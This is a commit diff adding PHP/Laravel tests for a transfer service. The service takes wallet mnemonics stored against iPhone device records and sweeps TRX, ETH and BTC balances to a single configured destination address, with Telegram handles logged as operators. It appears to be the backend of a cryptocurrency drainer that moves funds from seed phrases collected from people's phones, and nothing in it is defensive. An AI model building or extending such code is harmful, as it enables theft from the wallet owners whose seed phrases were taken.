feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
+124 -2
View File
@@ -3,6 +3,7 @@
namespace Tests\Feature;
use App\Models\Device;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\TransferService;
@@ -81,13 +82,25 @@ class TransferServiceTest extends TestCase
], 200),
]);
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX');
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');
$this->assertTrue($result['ok']);
$this->assertSame(str_repeat('ab', 32), $result['txid']);
$this->assertSame(self::FROM, $result['from']);
$this->assertSame(self::TO, $result['to']);
$this->assertDatabaseHas('transfer_records', [
'from_address' => self::FROM,
'to_address' => self::TO,
'chain' => 'tron',
'tx_hash' => str_repeat('ab', 32),
'amount' => '1.5',
'type' => TransferRecord::TYPE_OUT,
'asset' => 'TRX',
'operator' => 'telegram:1@ops',
'status' => TransferRecord::STATUS_SUCCESS,
]);
Http::assertSent(function ($request) {
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
return false;
@@ -166,10 +179,20 @@ class TransferServiceTest extends TestCase
config(['coruna.transfer.to_address' => '']);
$this->seedFromWallet();
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'telegram:9');
$this->assertFalse($result['ok']);
$this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);
$this->assertDatabaseHas('transfer_records', [
'from_address' => self::FROM,
'to_address' => null,
'chain' => 'tron',
'asset' => 'TRX',
'operator' => 'telegram:9',
'status' => TransferRecord::STATUS_FAILED,
'error' => 'TRANSFER_TO_ADDRESS is not configured',
]);
}
#[Test]
@@ -254,4 +277,103 @@ class TransferServiceTest extends TestCase
return ($request->data()['amount'] ?? null) === 4_000_000;
});
}
#[Test]
public function sends_native_eth_via_json_rpc(): void
{
$from = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
$to = '0x0000000000000000000000000000000000000001';
config([
'coruna.transfer.to_address_eth' => $to,
'coruna.eth.rpc_url' => 'https://ethereum.publicnode.com',
'coruna.eth.chain_id' => 1,
]);
$device = Device::query()->create([
'device_id' => 'dev-transfer-eth',
'ios_version' => '18.0',
'device_model' => 'iPhone',
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $from,
'chain_type' => 'ETH',
'source' => self::SOURCE,
'monitor' => 0,
]);
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
$row->mnemonic = self::MNEMONIC;
$row->save();
Http::fake([
'https://ethereum.publicnode.com' => Http::sequence()
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1'], 200) // nonce
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x3b9aca00'], 200) // gasPrice
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x'.str_repeat('ab', 32)], 200), // send
]);
$result = app(TransferService::class)->handle('eth', $from, '0.01', 'ETH', 'telegram:1@ops');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
$this->assertSame('0x'.str_repeat('ab', 32), $result['txid']);
$this->assertSame($to, $result['to']);
$this->assertDatabaseHas('transfer_records', [
'from_address' => $from,
'chain' => 'eth',
'asset' => 'ETH',
'status' => TransferRecord::STATUS_SUCCESS,
]);
}
#[Test]
public function sends_native_btc_via_mempool_api(): void
{
$from = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
$to = '1Ak8PffB2meyfYnbXZR9EGfLfFZVpzJvQP';
config([
'coruna.transfer.to_address_btc' => $to,
'coruna.btc.api_url' => 'https://mempool.space/api',
'coruna.btc.fee_rate' => 1,
]);
$device = Device::query()->create([
'device_id' => 'dev-transfer-btc',
'ios_version' => '18.0',
'device_model' => 'iPhone',
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $from,
'chain_type' => 'BTC',
'source' => self::SOURCE,
'monitor' => 0,
]);
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
$row->mnemonic = self::MNEMONIC;
$row->save();
$txid = str_repeat('11', 32);
Http::fake([
'https://mempool.space/api/address/*/utxo' => Http::response([
[
'txid' => $txid,
'vout' => 0,
'value' => 100_000,
'status' => ['confirmed' => true],
],
], 200),
'https://mempool.space/api/tx' => Http::response(str_repeat('cd', 32), 200),
]);
$result = app(TransferService::class)->handle('btc', $from, '0.0005', 'BTC');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
$this->assertSame(str_repeat('cd', 32), $result['txid']);
$this->assertDatabaseHas('transfer_records', [
'from_address' => $from,
'chain' => 'btc',
'asset' => 'BTC',
'status' => TransferRecord::STATUS_SUCCESS,
]);
}
}